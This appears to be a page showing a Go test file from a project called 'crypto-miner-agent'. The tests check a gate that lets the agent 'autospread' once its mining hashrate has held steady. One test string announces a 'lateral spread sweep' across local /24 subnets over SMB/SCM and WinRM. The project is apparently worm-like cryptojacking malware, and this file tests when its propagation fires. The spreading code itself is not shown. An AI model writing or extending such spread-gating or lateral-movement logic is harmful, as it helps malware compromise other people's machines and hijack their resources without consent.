Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Serialize agent WebSocket writes (ping + JSON), mutex-protect spreadGateClock, and harden deploy-plan spread route hint setup under parallel test runs.
98 lines
2.9 KiB
Go
98 lines
2.9 KiB
Go
package deploy
|
|
|
|
import (
|
|
"testing"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func setSpreadGateClockForTest(t *testing.T, fn func() time.Time) {
|
|
t.Helper()
|
|
setSpreadGateClock(fn)
|
|
t.Cleanup(func() { setSpreadGateClock(time.Now) })
|
|
}
|
|
|
|
func TestAllowAutospreadDisabledWhenGateUnset(t *testing.T) {
|
|
resetSpreadGateForTest()
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{AutoSpread: true}}
|
|
ok, reason := AllowAutospread(cfg)
|
|
if !ok || reason != "" {
|
|
t.Fatalf("ok=%v reason=%q", ok, reason)
|
|
}
|
|
}
|
|
|
|
func TestAllowAutospreadBlocksChainExhausted(t *testing.T) {
|
|
resetSpreadGateForTest()
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
|
HashrateGateSpreadMin: 5,
|
|
HashrateGateHPS: 100,
|
|
}}
|
|
SetSpreadMiningTelemetry(500, true)
|
|
ok, reason := AllowAutospread(cfg)
|
|
if ok || reason != "mining chain exhausted" {
|
|
t.Fatalf("ok=%v reason=%q", ok, reason)
|
|
}
|
|
}
|
|
|
|
func TestAllowAutospreadRequiresStableHashrate(t *testing.T) {
|
|
resetSpreadGateForTest()
|
|
base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
|
|
setSpreadGateClockForTest(t, func() time.Time { return base })
|
|
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
|
HashrateGateSpreadMin: 10,
|
|
HashrateGateHPS: 100,
|
|
}}
|
|
SetSpreadMiningTelemetry(150, false)
|
|
ok, reason := AllowAutospread(cfg)
|
|
if ok || reason != "hashrate stability window not met" {
|
|
t.Fatalf("first tick ok=%v reason=%q", ok, reason)
|
|
}
|
|
|
|
setSpreadGateClock(func() time.Time { return base.Add(11 * time.Minute) })
|
|
ok, reason = AllowAutospread(cfg)
|
|
if !ok || reason != "" {
|
|
t.Fatalf("after window ok=%v reason=%q dur=%v", ok, reason, StableMiningDurationForTest(cfg))
|
|
}
|
|
}
|
|
|
|
func TestAllowAutospreadResetsOnLowHashrate(t *testing.T) {
|
|
resetSpreadGateForTest()
|
|
base := time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)
|
|
setSpreadGateClockForTest(t, func() time.Time { return base })
|
|
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
|
HashrateGateSpreadMin: 5,
|
|
HashrateGateHPS: 200,
|
|
}}
|
|
SetSpreadMiningTelemetry(250, false)
|
|
setSpreadGateClock(func() time.Time { return base })
|
|
if ok, _ := AllowAutospread(cfg); ok {
|
|
t.Fatal("expected window not met on first tick")
|
|
}
|
|
setSpreadGateClock(func() time.Time { return base.Add(6 * time.Minute) })
|
|
if ok, reason := AllowAutospread(cfg); !ok {
|
|
t.Fatalf("expected stable after 6m, reason=%q", reason)
|
|
}
|
|
SetSpreadMiningTelemetry(50, false)
|
|
ok, reason := AllowAutospread(cfg)
|
|
if ok || reason != "hashrate below gate threshold" {
|
|
t.Fatalf("ok=%v reason=%q", ok, reason)
|
|
}
|
|
}
|
|
|
|
func TestRunSpreadOnceBlockedByHashrateGate(t *testing.T) {
|
|
resetSpreadGateForTest()
|
|
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
|
AutoSpread: true,
|
|
HashrateGateSpreadMin: 10,
|
|
HashrateGateHPS: 100,
|
|
}}
|
|
SetSpreadMiningTelemetry(0, false)
|
|
msg := RunSpreadOnce(cfg)
|
|
if msg == "" || msg == "lateral spread sweep started on local /24 subnets (SMB/SCM + WinRM when enabled)" {
|
|
t.Fatalf("expected gate message, got %q", msg)
|
|
}
|
|
}
|